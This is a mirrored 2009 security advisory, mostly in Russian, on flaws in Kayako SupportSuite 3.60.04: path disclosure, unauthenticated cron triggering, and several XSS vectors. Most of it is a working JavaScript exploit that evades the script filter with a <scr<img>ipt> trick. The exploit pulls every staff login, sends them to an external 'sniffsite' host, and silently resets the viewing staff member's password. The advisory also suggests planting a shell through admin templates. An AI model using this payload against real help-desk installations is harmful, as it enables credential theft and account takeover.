Computer Security
[EN] securityvulns.ru
no-pyccku



Related information

  Web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

  XSS Vulnerability in JpGraph 3.0.6

  Vulnerabilities in Cetera CMS

From:huan huan <huanmatus_(at)_gmail.com>
Date:23.12.2009
Subject:Kayako SupportSuite version 3.60.04

[Product]
######################################

Kayako SupportSuite version 3.60.04

[Url]
######################################

http://www.kayako.com/solutions/supportsuite/

[Path Disclosure]
######################################

http://supportsite/rss/index.php?_m=tickets&_a=view&group=default

Fatal error: view action is not registered in
\includes\functions.php on
line 754

P.S. Только если не давится вывод ошибок

[Cron]
######################################

Неавторизованный запуск задач внутреннего крона данного продукта

<form action="http://supportsite/cron/index.php" method="post">
<input value="d" name="_t">
<input type="submit">
</form>

Пример: tickets

При ссылке в action: http://supportsite/cron/index.php?debug=1

Получаем:

======== cron_autoclose.php ========
1: Autoclose system is enabled, starting up...
2: List of autoclose statuses:
3: List of departments monitored by autoclose system:
4: Auto close target status: NNN
5: ======== end cron_autoclose.php ========

Как использовать не придумал.

[Xss]
######################################

1. Против обычного пользователя:

Не фильтруется название темы [пример темы:
<script>alert('xss')</script>] в
тикете, и при обращении по ссылке [Post Reply][
http://supportsite/index.php?_m=tickets&_a=postreply&ticketid=NNN]
отрабатывает XSS

2. Против стаффа/админа - возможность оставить ссылку в теле
тикета:

<a href="http://evilsite/evipage.html">Link text</a>

где возможно размещение iframe с кодом

http://supportsite/staff/index.
php?_m=tickets&_a=reports&type=department&datefrom=0
"><script>alert('xss')</script><t

[Exploit]
######################################

Не фильтруются XSS вида <scr<img>ipt>alert('xss')</scr<img>ipt>

Тоже xss, позволяет пользователю отправить тикет со скриптом
внутри, который
выполнит любой сценарий с правами залогиненного администратора или
стаффа

Также при любом типе стаффа можно узнать все логины, имеющиеся в
системе,
используя информацию со страницы с отправкой приватных сообщений.

Ну и используя вышеперечисленное, написал сплоит, который берет
все логины
из системы, снифит их на внешний сервер, и меняет пароль того, под
кем был
просмотрен тикет

В том случае, если пользователь имеет права администратора (можно
определить
по значениям id в cookie), то возможно влить шелл через изменение
темплейтов
в админке.

<scr<img>ipt>window.onload=init; function init()
{document.body.innerHTML
+=('<in<img>put id="change" value="0"
type="hidden">');document.body.innerHTML += ('<ifr<img>ame
id="loginframe"
name="loginframe" style="display:none;" src="
http://supportsite/staff/index.php?_m=core&_a=composeprvmsg"
onload="login();"></ifr<img>ame>');}func
tion login() {if
(document.getElementById('change').value==0) {var opt =
window.frames['loginframe'].document.forms['swiftform'].
elements['staffid[]'].innerHTML;opt
= opt.split('OPTION').join('');opt = opt.split('<').join('');opt =
opt.split('>').join('');opt = opt.split('"').join('');opt =
opt.split('=').join('');opt = opt.split('selected').join('');opt =
opt.split('value').join('');opt = opt.split('option').join('');opt
= "
http://sniffsite/snif/s.gif?users=" + escape(opt);
document.body.innerHTML
+= ('<im<img>g name=imname src="'+opt+'" width="0" height="0"
border="0">');
document.imname.src = opt+"&"+Math.random();
document.getElementById('change').value = 1;init2(); }}; function
init2()
{document.body.innerHTML +=('<in<img>put id="change2" value="0"
type="hidden">');document.body.innerHTML += ('<ifr<img>ame
id="passframe"
name="passframe" style="display:none;" src="
http://supportsite/staff/index.php?_m=core&_a=changepassword"
onload="pass();"></ifr<img>ame>');}funct
ion pass() {if
(document.getElementById('change2').value==0)
{window.frames['passframe'].document.forms['staffform'].
elements['password'].value
=
'newpass';window.frames['passframe'].document.
forms['staffform'].elements['passwordconfirm'].value
=
'newpass';window.frames['passframe'].document.
forms['staffform'].submit();document.
getElementById('change2').value
= 1;}}</sc<img>ript>

[Dork]
######################################

Kayako SupportSuite

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod

 
 



Rating@Mail.ru